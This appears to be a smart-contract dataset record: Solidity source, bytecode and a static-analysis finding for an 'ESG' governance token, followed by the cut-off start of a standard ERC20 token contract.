function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "ESG::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "ESG::transferFrom: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(0xffffffffffffffffffffffff)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "ESG::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ESG::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "ESG::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "ESG::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint96) {
require(blockNumber < block.number, "ESG::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "ESG::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "ESG::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "ESG::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "ESG::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "ESG::_moveDelegates: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "ESG::_moveDelegates: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "ESG::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610638578063c3cda520146106ac578063dd62ed3e14610725578063e7a324dc1461079d578063f1127ed8146107bb57610121565b806370a0823114610421578063782d6fe1146104795780637ecebe00146104f757806395d89b411461054f578063a9059cbb146105d257610121565b806323b872dd116100f457806323b872dd1461024b578063313ce567146102d1578063587cde1e146102f55780635c19a95c146103795780636fcfff45146103bd57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806320606b701461022d575b600080fd5b61012e610852565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088b565b604051808215151515815260200191505060405180910390f35b610217610a17565b6040518082815260200191505060405180910390f35b610235610a26565b6040518082815260200191505060405180910390f35b6102b76004803603606081101561026157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a42565b604051808215151515815260200191505060405180910390f35b6102d9610cc2565b604051808260ff1660ff16815260200191505060405180910390f35b6103376004803603602081101561030b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103bb6004803603602081101561038f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfa565b005b6103ff600480360360208110156103d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d07565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6104636004803603602081101561043757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2a565b6040518082815260200191505060405180910390f35b6104c56004803603604081101561048f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d99565b60405180826bffffffffffffffffffffffff166bffffffffffffffffffffffff16815260200191505060405180910390f35b6105396004803603602081101561050d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c2565b6040518082815260200191505060405180910390f35b6105576111da565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059757808201518184015260208101905061057c565b50505050905090810190601f1680156105c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61061e600480360360408110156105e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611213565b604051808215151515815260200191505060405180910390f35b61067a6004803603602081101561064e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611250565b60405180826bffffffffffffffffffffffff166bffffffffffffffffffffffff16815260200191505060405180910390f35b610723600480360360c08110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff169060200190929190803590602001909291908035906020019092919050505061133e565b005b6107876004803603604081101561073b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ef565b6040518082815260200191505060405180910390f35b6107a561179b565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff1690602001909291905050506117b7565b604051808363ffffffff1663ffffffff168152602001826bffffffffffffffffffffffff166bffffffffffffffffffffffff1681526020019250505060405180910390f35b6040518060400160405280600381526020017f455347000000000000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156108ca576bffffffffffffffffffffffff90506108ef565b6108ec8360405180606001604052806024815260200161280360249139611810565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b6a2888275295397bd100000081565b60405180806129a4604391396043019050604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1690506000610b048560405180606001604052806029815260200161282760299139611810565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b5e57506bffffffffffffffffffffffff8016826bffffffffffffffffffffffff1614155b15610ca9576000610b8883836040518060600160405280603c8152602001612a46603c91396118d3565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3505b610cb48787836119a9565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d043382611dc4565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b6000438210610df3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128e86026913960400191505060405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610e605760009150506111bc565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610f6257600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff169150506111bc565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610fe35760009150506111bc565b600080905060006001830390505b8163ffffffff168163ffffffff16111561113e576000600283830363ffffffff168161101957fe5b0482039050611026612737565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415611116578060200151955050505050506111bc565b86816000015163ffffffff16101561113057819350611137565b6001820392505b5050610ff1565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600381526020017f455347000000000000000000000000000000000000000000000000000000000081525081565b6000806112388360405180606001604052806025815260200161290e60259139611810565b90506112453385836119a9565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116112ba576000611336565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b600060405180806129a460439139604301905060405180910390206040518060400160405280600381526020017f45534700000000000000000000000000000000000000000000000000000000008152508051906020012061139e611f84565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001945050505050604051602081830303815290604052805190602001209050600060405180806129e7603a9139603a0190506040518091039020888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611549573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115db576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a216025913960400191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806129586021913960400191505060405180910390fd5b874211156116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806129336025913960400191505060405180910390fd5b6116e3818b611dc4565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405180806129e7603a9139603a019050604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c01000000000000000000000000831082906118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561188e578082015181840152602081019050611873565b50505050905090810190601f1680156118bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611961578082015181840152602081019050611946565b50505050905090810190601f16801561198e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180612850603b913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ab5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806127ca6039913960400191505060405180910390fd5b611b2f600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060358152602001612766603591396118d3565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611c16600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280602f815260200161279b602f9139611f91565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3611dbf600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361206c565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611f7e82848361206c565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390612060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561202557808201518184015260208101905061200a565b50505050905090810190601f1680156120525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120b657506000816bffffffffffffffffffffffff16115b1561236257600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461220e576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116121595760006121d5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b905060006121fc82856040518060600160405280602b8152602001612979602b91396118d3565b905061220a86848484612367565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612361576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116122ac576000612328565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061234f82856040518060600160405280602a815260200161288b602a9139611f91565b905061235d85848484612367565b5050505b5b505050565b600061238b436040518060600160405280603381526020016128b56033913961267c565b905060008463ffffffff1611801561242057508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156124bb5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612603565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405180836bffffffffffffffffffffffff168152602001826bffffffffffffffffffffffff1681526020019250505060405180910390a25050505050565b60006401000000008310829061272d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126f25780820151818401526020810190506126d7565b50505050905090810190601f16801561271f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff168152509056fe4553473a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654553473a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734553473a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573734553473a3a617070726f76653a20616d6f756e74206578636565647320393620626974734553473a3a7472616e7366657246726f6d3a20616d6f756e74206578636565647320393620626974734553473a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573734553473a3a5f6d6f766544656c6567617465733a20766f746520616d6f756e74206f766572666c6f77734553473a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734553473a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644553473a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734553473a3a64656c656761746542795369673a207369676e617475726520657870697265644553473a3a64656c656761746542795369673a20696e76616c6964206e6f6e63654553473a3a5f6d6f766544656c6567617465733a20766f746520616d6f756e7420756e646572666c6f7773454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e74726163742944656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e7432353620657870697279294553473a3a64656c656761746542795369673a20696e76616c6964207369676e61747572654553473a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a265627a7a723158207a561919745063e598a99d12fe08a41f53db12ad869013da73e80c1b6d1c676364736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,350 |
0x19dCD2B96Abc167B859AE528954618598c94058b
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
